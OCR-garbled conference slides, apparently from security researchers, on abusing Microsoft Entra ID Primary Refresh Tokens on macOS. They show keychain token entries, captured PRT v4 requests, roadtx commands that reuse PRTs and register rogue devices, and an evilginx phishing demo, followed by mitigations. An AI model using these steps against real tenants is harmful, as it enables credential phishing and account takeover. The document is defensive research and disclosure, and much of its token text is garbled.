cpp-general-app-metadata-additional-fields application password Yesterday, 05:18
appmetadata-0ec893e0-5785-4de6-99da-4ed124e5296¢ application password Yesterday, 05:12
accesstoken-ecd6b820-32c2-49b6-98a6-444530e5a77a-a92a42cd-bf8c-46ba-aade-64...tivity. microsoft.com/.default https://activity.microsoft.com/usersettings.readwrite.createdbyapp application password Yesterday *
accesstoken-ecd6b820-32c2-49b6-98a6-444530e5a77a-a92a42cd-bfBc-46ba-aade-64....api.applicationfintune.mam.registrations.write.all https://msmamservice.api.application/.default application password Yester
accesstoken-ecd6b820-32¢c2-49b6-98a6-444530e5a77a-a92a42cd-bfBc-46ba-aade-64...osoft.com/.default https://edgesync.microsoft.com/usersettings.readwrite.createdbyapp.secure application password Ye-
accesstoken-ecd6b820-32¢2-49b6-98a6-444530e5a77a-a92a42cd-bf8c-46ba-aade-64cbc9e030d9-https:/faadrm.com/user_impersonation https://aadrm.com/.default application password

NNNNNNNN



PRT protocol version 3.0

PRTs from the keychain can be used with roadtx — either using PRT protocol v3 or with the Windows PRT protocol

(ROADtools) = X roadtx prtauth --pr
NQ.AgABAWEAAADNTfolhJpSnRYB1SVj-Hgd8AgDs wUA9P_ CNGZBXwm1yMF8
rQ792fwiryl_qRgdX2RJ-rQYQcVClAkIbbb26PHE6r3CXIdcfbxGjhy7yPn
MnVimsrwm_ IZJZoaMQBxweecQG5Lj53ghArhFi2jz1lwHazc3s9bmtshOiHR
NTCWiESNnEGW1BgMv39cRKLp JFRTfmMXWADFNh1xuT2XXV94GnPnrKf8HTYggd
XBFT75vaGN1Mno5I8w4q07w_1A1STQkoQmgKILSEhi18L7Uyt04GRbbS5Ie--
kFngSKyzn9zZ19SFOAhmOhdAF72rzedhccl1ZrWzIAFXLGm3wW11ZiNOelLgB

PvisjWRpkKSvi3Kp1SflhvXPLR70WS7D7FUNDSreQrtgaixcqFXRBemvxOr
SXwpF1fEIcfXrR3Wzg3c -v3 -s https://graph.microsoft.com/.de
Tokens were written to .roadtools _auth




What about PRT v4?

Intune has recently added support This allows storage of the key
for the Apple platform SSO material in the Secure Enclave,
module. Apples TPM like implementation




PRT protocol version 4.0

The Microsoft Enterprise SSO plug-in in Microsoft Entra ID includes two SSO features - Platform SSO and the SSO app

extension. This article focuses on configuring Platform SSO with Entra ID for macOS devices which is in preview.
Some benefits of Platform SSO include:

¢ Includes the SSO app extension. You don't configure the SSO app extension separately.
e Go passwordless with phishing-resistant credentials that are hardware-bound to the Mac device.
e The sign in experience is similar to signing into a Windows device with a work or school account, like users do with

Windows Hello for Business.

e Helps minimize the number of times users need to enter their Microsoft Entra ID credentials.
e Helps reduce the number of passwords users need to remember.
e Get the benefits of Microsoft Entra join, which allows any organization user to sign into the device.

¢ |ncluded with all Microsoft Intune licensing plans.



Apple Secure Enclave

NAND flash storage DRAM . . . .
I The Secure Enclave is a dedicated secure subsystem integrated into Apple

systems on chip (SoCs).

Memory controller

t The Secure Enclave is isolated from the main processor to provide an extra layer
NAND Tlach coritraer o8 i of security and is designed to keep sensitive user data secure even when the
e 1 Application Processor kernel becomes compromised.
AES engine - >
&
: https://support.apple.com/en-hk/guide/security/sec59b0b31ff/web
- : >
TRNG
Secure Enclave ]
AES Engine

<—p Memory Protection

Secure Enclave -
Engine

Processor

PKA

Secure Enclave

System on chip

Secure Non-Volatile Storage




PRT protocol version 4.0

Platform SSO

Authentication Method

Enable your Entra ID passkey

— Devices | All devices

To use your Entra ID passkey, you must enable Company Portal as a Passkey Provider.

To complete this action, open the System Settings app and navigate to:
Passwords > Password Options > Use passwords and passkeys from... > Enable Company Portal

< Password Options

AutoFill Passwords and Passkeys @

AutoFill helps y In into aj and website

Use passwords and passkeys from

o

Keychain

A

B Company Portal

Open System Settings




Device registration - SecureEnclave

'}aHJji5n7GC9szBw0eMJjsbSe9ny_Mm43onlV4uUrjsIijDtUrzlgdKithugEdddyUPw_lfquVFSiHUkw
11 Accept-Encoding: gzip, deflate, br
12 Connection: keep-alive

13

14 |{

15 "AlkCertifticate": """,

16 "AttestationData":"",

17 "CertificateRequest":{

18 "Data":
"MIIBADCBpAIBADAhRMR8wHQYDVQQDDBZNeSBjZXJ0aWZpY2F0ZSByZXF1ZXNOMFkwEwYHK0ZIzj@CAQYIKoZIz]jODAQcDQUAER]j43Dw78kb295bD7C\/aMhDkInky
aEsDRTx8hquqonyZprkMkHNQc4vhv+G+]wPr\/BhrtX20Panqu]glquhMBBGCSqGSIb3DQEJDJESMBAngYDVR@PAOH\/BAQDAgeAMAwGCCqGSM4QBAMCBQ

X8 /8dv8bx3TrNWy@Oh7FKkPLAtZAiEAsg06MgbyBG7sayals71TDinKgUJLOaCWvkaCoFi67P8=",

19 "KeySecurlty"'"SecureEnclave",

20 "KeyType" :"ECC",

21 "Type":"pkcs10"

22 e

23 "DeviceDisplayName":"olaftesting’s Virtual Machine",

24 "DeviceKeys": [

25 {

26 "Hata™:

"{\"kty\":\"EC\",\"crv\":\"P-256\",\"x\":\"yLWFbQSBa5IG2hv4HiHM7YUc4wpiaWk@ fTHHrxV4fgQ\" ,k"y\" :\"md0Yz_mYxJ5N3A
1SptIk5eaux5FK9ko\",\"kid\":\"821E2411-4EC0-4BE2-A857-56326312D60OF\"}",

27 "Encoding":"JWK",

28 "Type":"ECCY,

29 "Usage":"STK"

30 }

31 15

32 "DeviceType":"Mac0S",

33 *JoinType":"@",

34 "asvVersion":"14.5.8%;

35 "TargetDomain":"falconforce. io"

36



Y

Device registration - SecureEnclave

Response Output

Pm;tty e s o Version: 3 (0x02)

1 HTTP/1.1 200 OK Serial number: 178295414516010010405444944688283170511 (0x862272a1783d248a4d62554e1744b6cf)

2 Content-Type: application/json Algorithm ID: SHA256withRSA

3 client-request-id: 0548399C-C6FA-4025-8CFF-C15704092D4F Validity

4 request-id: 0548399c-c6fa-4025-8cff-c15704092d4f Not Before: 29/05/2024 08:59:59 (dd-mm-yyyy hh:mm:ss) (2405290859592)

s  Strict-Transport-Security: max-age=31536000; includeSubDomains Isr;lz;rAfter: 29/05/2034 ©9:29:59 (dd-mm-yyyy hh:mm:ss) (340529092959Z)

6 X-Content-Type-Options: nosniff DC = net

7 Date: Wed, 29 May 2024 09:30:00 GMT Subject

g Content-Length: 1406 (N = c073581d-98d1-4f11-9d79-aae018f9d8be

9 Public Key

o { Algorithm: EC

"Certificate":{ Curve Name: secp256rl

“"Thumbprint":"F371FE631E85CBBECADC647A6EA9AF386253038C", Length: 256 bits
“RawBody" : pub: 04:46:3e:37:0f:
“MIIDNZzCCAh+gAwIBAGIQhilyoXg9JIpNY1VOF@S2z2ANBgkqhkiGOw@BAQsFADBAMXYWEQYKCZImiZPyLG( el beaion
HQYDVQQDExZNUy1Pcmdhbm16YXRpb24tQWNj ZXNzMCsGALUECXMKODIKYmF j YTQtM2U4MSOONMNhLT LjNzM: £0:3e:bf:c1:86:
TMOMDUYOTASMj k10VowLzEtMCsGA1UEAXMKYzA3MzU4MWQtOThkMSOOZjEXLTLkNzktYWFIMDE4Zj LkOGI U ca
78kb295bD7C/aMhDKInkvaEsDRTx8hzqbqofDy2ypMkMkHNQc4vhv+G+jwPr/BhrtX20PxnKpXqjglyqOB®@I certificate Signature
GCCsGAQUFBWMCMA4GA1UdDWEB/WQEAWIHgDA1BgsqghkiG9xQBBYIcAgQTBIEQHVhzwNGYEU+deargGPnYvj/ Algorithm: SHA256withRSA
FuuCUzAiBgsqhkiG9xQBBYIcBQQTBIEQzUIqqYy/ukaqTmTLyeAw2TAUBgsqhkiG9xQBBYIcCAQFBIECRVUY Signature: 58:cf:67:21:59:
QELBQADgQEBAFjPZyFZfJlgBqnlk7/ndKfm78FqitXiF f4pGRRpEfkxwlFz1Bemckiou/zR7H4DjqjWctMCOl bb:f@:5a:a2:b5:
KrbrBtUq@E3dB9Z2mcI4Rz9Bm75 fIwRbeIhguzMcxLApcb1KvdiWL6QQ8huch73 ImR5Ptvc1qCt LI7hkX6S! 94:36:09:05: €0:

}

}'I fe:35:60:da:42:
"User":{ 69:9c:27:84:73:
"Upn":"olaftesting@falconforce.io" b3:31:cc:4b:02:
¥, b9:c8:7b:de:59:
"MembershipChanges": [ 45:fa:4a:le:be:
{ 5b:63:d3:86:c0:
"LOC31$ID" +"G_1-5-32-544" p 2ffb3fb552636ff
"AGISIOS": | Senne
"S-1-12-1-2094076133-1243110406-4180208532-2064801707", OO;SO;BC;CC;SG;
"S$-1-12-1-3768574861-1163928533-4156412604-1227689547" 26:bf:64:c2:c2:

]

}

]

35:9¢c:b4:cO:bd:

1Jm/ rqtUsX//1LkzU9cPo1Im7kh/8hlymphpQXoUrYwiBPnzQ7uP@hIh64 LqAAFCMzFbhy fQf2yWAH74 1+i e e g




Device registration - cryptographic keys

On Mac OS (PRT v3)

Device certificate (Entra signed) + private key (RSA key)
Transport key (RSA key) — sent as JWK

On Mac OS (PRT v4)

Device certificate (Entra signed) + private key (ECC key)
Secure Enclave based key (ECC key) — sent as JWK




Authentication material

Device key signed payload
(ECDSA)

Device key signed payload
with PRT + ECDH-ES
initialization

PRT request and broker mechanics - PRT v4

>

Entra ID

ECDH-ES encrypted token

response

%




PRT request - PRT v4

https://login.microsoftonline.com POST /common/oauth2/v2.0/token

Request

Pretty  Raw  Hex Ny \n

1 POST /common/oauth2/v2.@/token HTTP/1.1

2 Host: login.microsoftonline.com

3 Cookie: fpc=Av2qL5ZEgpJlLulsiladLAjL1-K9EAQAAAE4Q6d00AAAA; x-ms—gateway-slice=estsfd;
stsservicecookie=estsfd; CCState=RWhJSOVNSzduVjdsblJORG1VcHc40WIrUHIOPQ==; ESTSAUTHPERSISTENT=
@.AVBAzUIqqYy_ukaqTmTLyeAw2Zjt2S1ppDZFrelL5gbwdYF5fANQ.AgABFWQAAADNfolhJpSnRYB1SVj-Hgd8AgDs_wUA9P9
Vg3yP@aeTcKUyfjLXyv594SaDQMG5w9IvNacHjzxrY_mZxvIwbq_pYi@ldd_rkyP3YQupL@Xqb50cGhHeKZpchc2kI8dvFMEG
Ovz-Hg7fb_rdw9XdLcMVAoFiqRnQdtx0G4a0@c-zF2Rdc8walL0A9cc6fCNuNxzarVP1ZBYWoTwdPtwp2XCwtLSxRdgLyHvXLWR

JEsToqDCDOA; buid=
0.AVBAzUIqqYy_ukaqTmTLyeAw2Zjt2S1ppDZFrel5gbwdYF5fANQ.AQABGGEAAADNfolhJpSnRYB1SV]j-Hgd8NzUBh9FW70c
C9t LxBTNnfMZ_ARHEHEUe3yhqgje_qmlwg2t0jQjNedkT6quxCXtLCmwIPDN6-PxAIeo]j EBPUKTZUH4XEEOTSX8iWPC22CXNiX
s-03H02VXBW020DUz j9gMX28iUwYFtNaeTjzd6k1ldQaluBOfI7-qzmL1L78eUVsgAA; wlidperf=
FR=L&ST=1716975339682; brcap=0; MicrosoftApplicationsTelemetryDeviceld=
6dc87e13-8af@-47c@-b70a-e4e3237d8b30; MSFPC=
GUID=3c004e6db9214584a9%9bac3360908F932&HASH=3c00&LV=202405&V=4&.U=1716974984395

4 Content-Type: application/x-www-form-urlencoded

5 X=Client-Sku: MSAL.O0SX

6 Accept: application/json

7 X-Client-0s: 14.5.0

g8 X-Client-Cpu: 64

9 Accept-Language: en-GB,en;q=0.9

10 Accept-Encoding: gzip, deflate, br

11 X-Ms-Pkeyauth+: 1.0

12 Content-Length: 3478

13 User-Agent: Mac%20SS0%20Extension/53.2404695.002 CFNetwork/1496.0.7 Darwin/23.5.0

14 X-Client-Ver: 1.2.22

15 Connection: keep-alive

17 prt_protocol_version=4,0&client_info=1&request=
eyJhbGci0iJFUZIINIISINRScCIGIkpXVCISsInglYyI6WyINSULETnpDQOFoK2dBdO1CQWdIUWLXUVkrcVdoajZeQopzbmv4y
1dRZURBTkJIna3Foa2 l1HOXcwQkFRCcOZBREIOTVhZdOVRWUtDWk1taVpQeUxHUUJHUTLEYmIWMELICVUdDZ21TSm9tVDhpeGtBUmM
tXQjNkcGItUnZkMO13SFFZRFZRUURFeFpOVXkXUGNtZGhibWw2WVhScGIyNHRRVOS5qW1h0Oek1Dc@dBMVVFQ3hNa@9ESmtZbUZ
qQWVRRAEOYVTRNUZAWTM10aExUbGp0ek10TURrMUIHTXhaVOZqWVRrM@1CNFhEVEKwTURVeU9UQTVNRFUWTUZVWERUTTBNRFVS
T1RBNU16VTBNRmMI3THpFAE1DcOdBMVVFQXhNa@1qVTVOVEFSWKRNdFpHWmpPUzAWWMINeEXUZ310VIVOTXpFMELESm10R1J0T
VRZM@1Ga3dFd111529aSXpgMENBUV11529aSXpqMERBUWNEUWABRVIQNDNEdZzc4a2Iy0TViRDADXCOhTWhEa@lua3ZhRXNEU1
R40Gh6cWIxb2ZEeTIScE1rTWtITLFjNHZoditHK2p3UHIcL@JocnRYMKk9QeG5LcFhxamdseXFPQjBEQ@JI6VEFNQmdOVKhSTUD
BZjhFQWpBQU1CWUdBMVVKS LFFQlwvd1FNTUFVRONDc@dBUVVGQndNQ@1BNEdBMVVKRHAFQ lwvd1FFQXdISGAEQW1CZ3NxaGtp



PRT request and broker mechanics - PRT v

Version: 3 (0x02)
DeCOded EDIT THE PAYLOAD AND SECRET Serial number: 182623971744532922801731463376015822968 (0x896418faa5ad8fab4226c9dec5¢59078)
Algorithm ID: SHA256withRSA
Validity
HEADER: ALGORITHM & TOKEN TYPE Not Before: 29/05/2024 ©9:05:40 (dd-mm-yyyy hh:mm:ss) (240529090540Z)
Not After: 29/05/2034 09:35:40 (dd-mm-yyyy hh:mm:ss) (340529093540Z)
Issuer
e Ny DC = net
alg”: "ES256", Subject
yp : Wi, (N = 259502d3-dfc9-4fc1-825e-31402b4dal167
*"xhec s | Public Key
Algorithm: EC
X . . . Curve Name: secp256rl
MIIDNzCCAh+gAwIBAgIQiWQY+gWtj6tCJsnexcWQeDANBgkqghkiGOw Length 256 bits
BBAQsFADBAMXYWEQYKCZImiZPyLGQBGRYDbmVBMBUGCgmSJomT81ixkA pubs: 04:46:3e:37:0f:0e:fc:91:bd:bd:e5:b0: fb:@b: f6:8¢:
RkWB3dpbmRvd3MwHQYDVQQDEXxZNUy1Pcmdhbml6YXRpb24tQWNjZXNz 84:39:08:9¢e:4b:da:12:c0:d1:4f:1f:21:ce:ab:eazal:
MCSGA1UECXMkODJKYmF j YTQtM2U4MSBBNMNALT1jNzMtMDk 1MGMXZWF Sl sstinalic U ol
jYTk3MB4XDTIOMDUYOTASMDUBMFoXDTMBMDUYOTA5MZUBMF owl zE tMC LTS e e
SGA1UEAXMkMJUSNTAYZDMtZGZJOSGGZMMXLTQYNWUtMZEeMDJlNGRhM Certificate Signature
TY3MFkwEwYHKoZIzjBCAQYIKoZIzjBDAQcDQQAERj43Dw78kb295bD7 Algorithm: SHA256withRSA
C/aMthInkvaESDRTXthqbq0fDyzprkMkHNQC4VhV+G+JWPr/Bhf't Slgnature: 42:3e:0a:c2:3b:fc:c2:85:5€:¢9:47:d8:9d:eb:18:9b:
: A 5b:b3:9d:6d:5b:5a:6a:ee:c4:23:a5:d1:74:e7:3d:8a:
X20Panqu3glquBGDCBZTAMBgNVHRMBAfBEA]AAMBYGA1 UdJQEB/w bd:c4:78:cc:97:56:9f:db:35:9f:c4:82:a4:3¢:08:bd:
QMMAOGCCsGAQUFBWMCMA4GA1UdDWEB /wQEAwWIHgDA1BgsqhkiG9xQBB 36:13:81:de:a2:e2: fl:ae:13:9a:53:8e:cf:05:6e:be:
YIcAgQTBIEQBwKVJcnwa+CXjFAKGZhZzAiBgsqhkiG9xQBBYICAwQT f9:1d:3a:e2:18:47:1b:9b:6e:b6:5a:2a:e9:b9:80:d5:
_ 23:20:43:37:cc:0d:bb:10:21:72:e0:72:d2:66:db:de:
qqYy/ukaqTmTLyeAw2TAUBgsqhki1G9xQBBYIcCAQFBIECRVUWEWYLKo 8:36:37:b1:6¢:5d:e9:28:5¢c:db:46:c0:1a:27: f2:04:
ZIhvcUAQWCHACEBASBATEWDQYJKoZIhvcNAQELBQADggEBAEI+CsI7/ 52:ec:6f:b2:3c:8e:05:85:33:15:d0:41:19:c1:3f:5e:
MKFXs1H2J3rGJtbs51tW1pq7sQjpdFB5z2KvcR4zJ9Wn9s1n8SCpDwI 17:fb:c3:59:0b:df:34:¢6:af:19:59:54:17:29:66:0e:
vTYTgd6i4vGuESpPTjs8Fbr75HTriGE8bm262WirpuYDVngtelCCbXaR ZEcATPREEI0I A DR Na 1A R Al A0 DR LD N
R 9d:23:b7:d6:c5:ab:d6:e8:91:45:19:2¢:83:55:4e:79:
8PM79mn8Q4S0gQz fMDbsQIXLgctIm297INjexbF3pKFzbRsAaJ/IEUu a6:2: f8: fa:c8:35:07:dd:3c: fe:57:66:52:55:6d: 11
xvsjyOBYUzFdBBGCE /Xhf7w1kL3zTGrx1ZVPcpZg53U6h465k9unPjt 1d:4b:4c:00:03:b5:e@:eb:78:9f:b4:61:3d:e9:49:20:
ysjYStEnS031sWr1uiRShksg1V0eaby+PrINQfdPP5XZ1JVbREdSOwA 34:91:66:2b:92:9b:d5:27:75:9e:f1:d5:d3:85:62:9d:

A7Xg631ftGE96UKgNJIMK5Kb1Sd1nvHVB4VinYqOHhYawWit2LXup7/ 8azbd:le:16:1a:cl:68:ad:03: b5 ee:a7:bi:dosef:58

Q71g= Extensions
] basicConstraints CRITICAL:
} {3

extKeyUsage CRITICAL:
clientAuth



Token request - PRT v4

Response

Pri

OOV S WN =

P
S WN =S WO

15
16
17
18
19

atty Raw Hex Render =1 \n =

HTTP/1.1 200 OK

Cache-Control: no-store, no-cache

Pragma: no-cache

Content-Type: application/jose; charset=utf-8

Expires: -1

Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff

P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"

x-ms-request-id: 04ba6109-aacf-40f4-936d-f76ae56caadd

x-ms—-ests—-server: 2.1.18105.6 - SEC ProdSlices

x-ms-clitelem: 1,0,0,295.2846,

X-ms-srs: 1.P

X-XSS-Protection: ©

Set-Cookie: fpc=Av2qlL5ZEgpJLulsiladLAjL1-K9EAQAAAE4Q6d00AAAAZ4036AEAAABPEONdDgAAAA; expires=Fri,
28-Jun-2024 12:02:23 GMT; path=/; secure; HttpOnly; SameSite=None

Set-Cookie: x-ms—-gateway-slice=estsfd; path=/; secure; samesite=none; httponly
Date: Wed, 29 May 2024 12:02:23 GMT

Content-Length: 4051

eyJlbmMiOiJBMjU2RONNIiwia21kIjoic2Vzc21lvbiIsInR5cCI6IkpXVCIsImFwdSI6IKFBQUFBMEZCUKFBQUFFRUVBQ1ZsdG
VKcUtUcylncUFDQnZwUEVBRjExRHNOek IBYkJRXy14dWUzTldaTjhHMVVKQLh3T3FIZjFOeFASNOFNdFIsX2FOYW5qYWoyU@9z
YUVRckZndyIsImVwayI6eyljcnYi0iJQLTIINiIsImt@eSI6GIKVDIiwieCI6IKFCVmx0@ZUpxS1RzLWdxQUNCAnBQRUFGMTFEC®
56SUFiQLFfLXh1ZTNOV1kiLCJ5Ij0oiVGZCdFZDUVY4RHFoMz LWUY1RfZXdETFVaZjJlyV3AOMm85a2pyR2hFS3hZTSI9LCIhbGei
0iJFQORILUVTING..aa7dNGrzuLAjtfXt.WuPvFtyaDVIVnRvZ_eSjr40vefTc-Z4pevYEqQrIilpTh6Q2wz6glfBil0i3tNuuA
-vO7A9FXv5Ymef6t6Gm-k8zy8KGMHUg_shZTm@qf2YjrqfYIKKOmISHr170R1uD9pyul4UL1g5FVB2gYykF5a9Tw-0PrNSUVN1
ji01fVvWblgbgwfndOHVSA_07hG8eaHrmy3VqwNnf1lPPV_wN303Ry_aHX1dTDFk7qXLGAcI-3TXz1lwt8_LsBWv2qzbeX-_ndFEu
WVGFx2Nk0i_gWWZRxWpsko6P95zINO49HXuz_wVDE6gI7]jjTwYurfBlgZKPVO6EQvDQeI64_bs3wx08kSEDp4nina2eyvnOWIQ
b601H615sJ07CdcQv2WKq8ThO_gyHr6i2 1BkduInXC7hk8nayiyumxuM8_92Sbs5VFCkuWAeKXy-yaChIgKc1lTxu7XMcuA6Eed44

DeCOded EDIT THE PAYLOAD AND SECRET

HEADER: ALGORITHM & TOKEN TYPE

{
"enc": "A256GCM",
"kid": "session",
llt ' n : I|JWTII ,

"apu": "AAAAAOGFBRAAAAEEEABV1teJgKTs-
ggACBvpPEAF11DsNzIAbBQ_-
xue3NWZN8G1UJBXwOgHT1NxP97AMtR1_atanjaj2S0saEQrFgw",

"epk": {

erN"E "P-286",

Ilktyll : n ECII .
"x": "ABV1teJgKTs-gqACBvpPEAF11DsNzIAbBQ_-xue3NWY",
"y": "TfBtVCQV8Dgh39TcT_ewDLUZf2rWp4209kjrGhEKxYM"

¥
"alg": "ECDH-ES"




Internet Engineering Task Force (IETF) M. Jones

Request for Comments: 7518 Microsoft

Category: Standards Track May 2015
——=* ISSN: 2070-1721

\I—\-I-JII I—n—l‘j

=N
(o))

This section defines the specifics of key agreement with Elliptic
Curve Diffie-Hellman Ephemeral Static [RFC6090], in combination with
the Concat KDF, as defined in Section 5.8.1 of [NIST.800-56A1. The
key agreement result can be used in one of two ways:

1. directly as the Content Encryption Key (CEK) for the "enc"
algorithm, in the Direct Key Agreement mode, or

2. as a symmetric key used to wrap the CEK with the "A128KW",
"A192KW", or "A256KW" algorithms, in the Key Agreement with Key
Wrapping mode.

A new ephemeral public key value MUST be generated for each key
agreement operation.

https://datatracker.ietf.org/doc/html/rfc7518



PRT protocol version 4.0

All items Passwords Secure Notes My Certificates Keys Certificates

® primaryrefreshtoken-29d9ed98-a469-4536-ade2-f981bc1d605e--|NDRIOGNmMNjg2Yz...
primaryrefreshtoken-29d9ed98-a469-4536-ade2-f981bc1d

Local items ind: icati | =
Kind: application password Attributes  Access Control

Account: fe8d0548-19ca-4624-86d3-8fe016eb8253.a92a42cd-bf8c-46!

®0e® ... primaryrefreshtoken-29d9ed98-ad69-4536-ade2-f981bc1d605e-
Modified: Today, 05:02 Access for this item cannot be edited.

Name |

idtoken-29d9ed98-a469-4536-ade2-f981bc1d605e-a92342cd-bf8c-46ba-aa4e-6£' Access group for this item:

a92a42cd-bf8c-46ba-aade-64cbc9e030d9

' N = ry
) Name

primaryrefreshtoken-29d9ed98- @ @® primaryrefreshtoken-29d9 edgﬁ
appmetadata-29d9ed98-a469-

refreshtoken-29d9ed98-a469~
com.apple.cloudd.deviceldentifi

UBF8T346G9.com.microsoft.identity.ssoextension

Attributes /

com.apple.iAdIDRecords
accesstoken-29d9ed98-a469-4 Name: primaryrefreshtc

com.apple.iAdIDRecords .
Kind: application pass

com.apple.iAdIDRecords o060
com.apple.iAdIDRecords Account: fe8d0548-19ca:
com.apple.iAdIDRecords

) Where: primaryrefresht
com.apple.iAdIDRecords

com.microsoft.CompanyPortal.e Comments:

com.microsoft.CompanyPortal.e

com.microsoft.CompanyPortal.e

RO RN NN

com.microsoft.CompanyPortal.e
a92a42¢cd-bf8c-46ba-aade-64) Show password: {"secret":"0.AV8AzUIqqYy_ukagTmTLyeAw2 @
appmetadata-9balabc7-f17a-4c
refreshtoken-9balabc7-f17a-4d
refreshtoken-1--

idtoken-9balab5c7-f17a-4de9-al,

TNINININDS




PRT protocol version 4.0

@ ® primaryrefreshtoken-29d9ed98-a469-4536-ade2-f981bc1d605e--|NDRIOGNmMNjg2Yz...

Attributes Access Control

"device_id": '"'259502d3
“"prt_protocol_version":

"credential_type": n",
"environment™: "1
86d3-8f a92a42cd-bf8c 64cbi -

"home_account_id"
! eXpi res_on": "17181937
"cached at": "171
"client_id"

"expires_in":

H

a92a42cd-bf8c-46ba-aade-64)
appmetadata-9balabc7-f17a-4¢
refreshtoken-9balabc7-f17a-4d

refreshtoken-1--
idtoken-9bala5c7-f17a-4de9-al,



"r%
Primary Refresh Tokens (PRT) . 6

What does the PRT contain?
A PRT contains claims found in most Microsoft Entra ID refresh tokens. In addition, there are some device-specific claims

®
included in the PRT. They are as follows:

e Device ID: A PRT is issued to a user on a specific device. The device ID claim deviceID determines the device the

PRT was issued to the user on. This claim is later issued to tokens obtained via the PRT. The device ID claim is used
to determine authorization for Conditional Access based on device state or compliance.

e Session key: The session key is an encrypted symmetric key, generated by the Microsoft Entra authentication
service, issued as part of the PRT. The session key acts as the proof of possession when a PRT is used to obtain
tokens for other applications. Session key is rolled on Windows 10 or newer Microsoft Entra joined or Microsoft

Entra hybrid joined devices if it's older than 30 days.

* According to the Microsoft documentation




PRT protocol version comparison

prt_protocol version secret device id session_key Used by

2.0
3.0 — device bound
3.0 — deviceless X
4.0 X

Windows

Comp portal Mac

Edge and some
onboarding flows

Platform SSO +
SecEncl

90d

90d

90d

90d

RSA sign +
AES CBC

RSA sign +
AES GCM

RSA sign +
AES GCM

ECDSA +
ECDH-ES

validity = encryption stored in keychain

* Not abusable without access to the key material in Secure Enclave




Deviceless PRT
phishing to full PRT




Demo - Deviceless PRT phishing




1 Home [, W10-Pentest-Training [ ] ADTS2019 [[] ADTSC [, Work Dev 4 W11-HELLOTEST (4 W11-TEMP

NP A% Windows PowerShell

PS C:\Users\User\Desktop\tools\evilginx2> .

run.pat

C:\Users\User\Desktop\tools\evilginx2>.\build\evilginx.exe -p ./phishlets -t ./redirectors -developer
2) Imp

. l . . I - -—- Community Edition -- -

[17:55:59] [inT] Evilginx Mastei ourse: https://academy.breakdev.org/evilginx-mastery (learn how to create phishlets)
[17:55:59] [inf] loading phishlets from: ./phishlets
[17:55:59] [1nfT] Tloading configuration from: C:\Users\User\.evilginx
[17:55:59] [inf] blacklist: loaded O ip addresses and 0 ip masks
phishlet | sfatus Tvisibf]ity 0 hostname
disabled | visible
enabled | visible microsoftOnli...

: lures create microsoft365
[17:56:22] | ] created lure with ID: 2
: lures get-url 2

v

D B =D s 5 o ~AEqy SBPM o

6/26/2024

aE pe Type here to search 4 l[;ln b =t




Deviceless PRT to device and PRTv4H

(ROADtools) | | » X roadtx prtauth -v3 -s urn:ms-drs:enterpriseregistration.windows.net/.default

Tokens were wrltten to .roadtools_auth
(ROADtools) = | | » X roadtx device -a register -n troopers --device-type macosi4

Saving private key to troopers key

Registering device
Device ID: fec30f31-e508-4dc9-8bd9-a896762b5805

Saved device certificate to troopers.pem




Deviceless PRT to device and PRTv4H

(ROADtools) - ROADtoo X roadtx prt -c troopers.pem -k troopers.key -r file -v4

Obtained PRT 0 AXQAJ KHYn9PIk0anhpr hv]jt2S1lppDZFreL5gbwdYF71AGI.AgABAWEAAAApTWIMzXqdR4BN2miheQMYAgDs wUASP _ut 5UeF
KaFPzk4D7TeR_s1C2hcK7cpZGmk6VVWoz71 - rdHZanzGJWxgHBeyeRhm@ZSPODEUbolOeuthbthDfAPMeDBHocyscA?rUJfYWVSCXQwadmeHNfégX
XUS5dTyFZNp6-zH-Z02QPWFppNInnUisTBbaOfnZBF6S3cFYnfS7ylcmzq2UfShUfbY38V3AsIxd6syvxurr061HdwlozI6peoaAffH6seMYpglOC47jr4l
ANS8AHBCiWDfL-SB9MxtowqPFdXozkPDkepIoDcdi110bGsGdawxiHeKMy8We-k22Y1R4HIehOqc4M5d DM2obAD-2hSxkRdcic2aSRbmhd4ocuTreARzj3V
qAQY3TvIW uyJqlAuz3nB _oqV5LONIZEzCwTXOD5MA4Nz3aa5wq90TdBwNpRyY j8aUTDWZzHVEWZ2QmIAzQP57bBsqKR19T8aDnRLRB5pYzPK _AeEn61cFs
SO0719s6TMYyPziullv4-F6vkpwf w9VLR-sbQqWgNEBDu7ua89i-NQtxzmWrbKVgzfxNcOyCmviwcAgD9sDTDG_7NpOGwPdtuSF _-sep6pXb_ fiUKmpp8r

gPjORpb731PryLO01BDAIzdYnvNMu804ueEhmnezypF3Liomm9jquSYknxCyg8UM75EJIyAvv4EMYUpmKWGVOIoHQa0FXgOpL2axC c9Vp40OP71HDK-vnnB
uelKEAIZW 2-4m6qPArvTDBayuDOVj O5PP30XSUvr9qiisn6nkzZUiDDcS1QtVti2HajbsCOkwIf-ztAemUwcBxnSJIdhbVOu®EUlevQrot VThtG928 VL
Zwq6gbmeQPVAQIclwUKMbgKA1QGkohY40vNUcRaV1KFfXVgOgOPxtosgchHrXaPSdfCh1G4FD6 joBoye1JKP3HG4FptUmb41gWMy - 5XNWFrGa225C6p0cw
TCIDC25TMiwHh1nBR--vE96ALldyABObgavzWhXF8ZrrDYJcFWxXFCy-fL-Rc7PZCUSqvZHMtBcALYB8769VWWtEZDVXEbx8R3QSbI5beGXpzcMeRNoolAQ

rLOCo1Crs_gpy_fcRcqUc9Y4a950hInvn5FhBEaSkntLOOPNntfBSewl-hU2GQggn7Yd66s7FSrPBYIZ0qfs6-0yiBwySE4h47EJYLmMEN2wAOnoistTHsqy
K77Hk

Obtained session key:
Saved PRT to roadtx.prt




Using PRTVY to request tokens

(ROADtools) - ROADtools

em troopers.pem --key-pem troopers.key
Tokens were written to .roadtools auth
(ROADtools) - ROADtool: X roadtx describe | jq .
{

X roadtx prtauth -v4 -s https://graph.microsoft.com/.default -c msteams --cert-p




Attacking PRTs on Windows







(Partial) Mitigations

Options to consider to lower the abuse potential.
Please note that none will provide full protection:

Conditional access policies

Require only compliant devices

Restrict device registration to max 1 per user if possible

Limit token lifetime on non-corporate or non-managed devices

Create detections based on a user registering a new device from a registered device
Microsoft is working on patching the vulnerable flow we did not discuss.

Additionally, Microsoft is exploring additional mechanisms to disallow reuse of tokens for device
registration.




Future work ;)

Date VvV Cited by +~
Apr 2016 on Key vantics for JSON To WTs)

Aug 2019 evice Authorization Gran

Aug 20 r Web Authentication (WebAuthn)
gning and Encryption (COSE) and r Web Authentication (We

Authn) Algorithms
2.0 Authorization Fram

2eCcuy

Jan 2020 OAuth 2

Jul 2015  OAuth 2 Client Registration Protocol

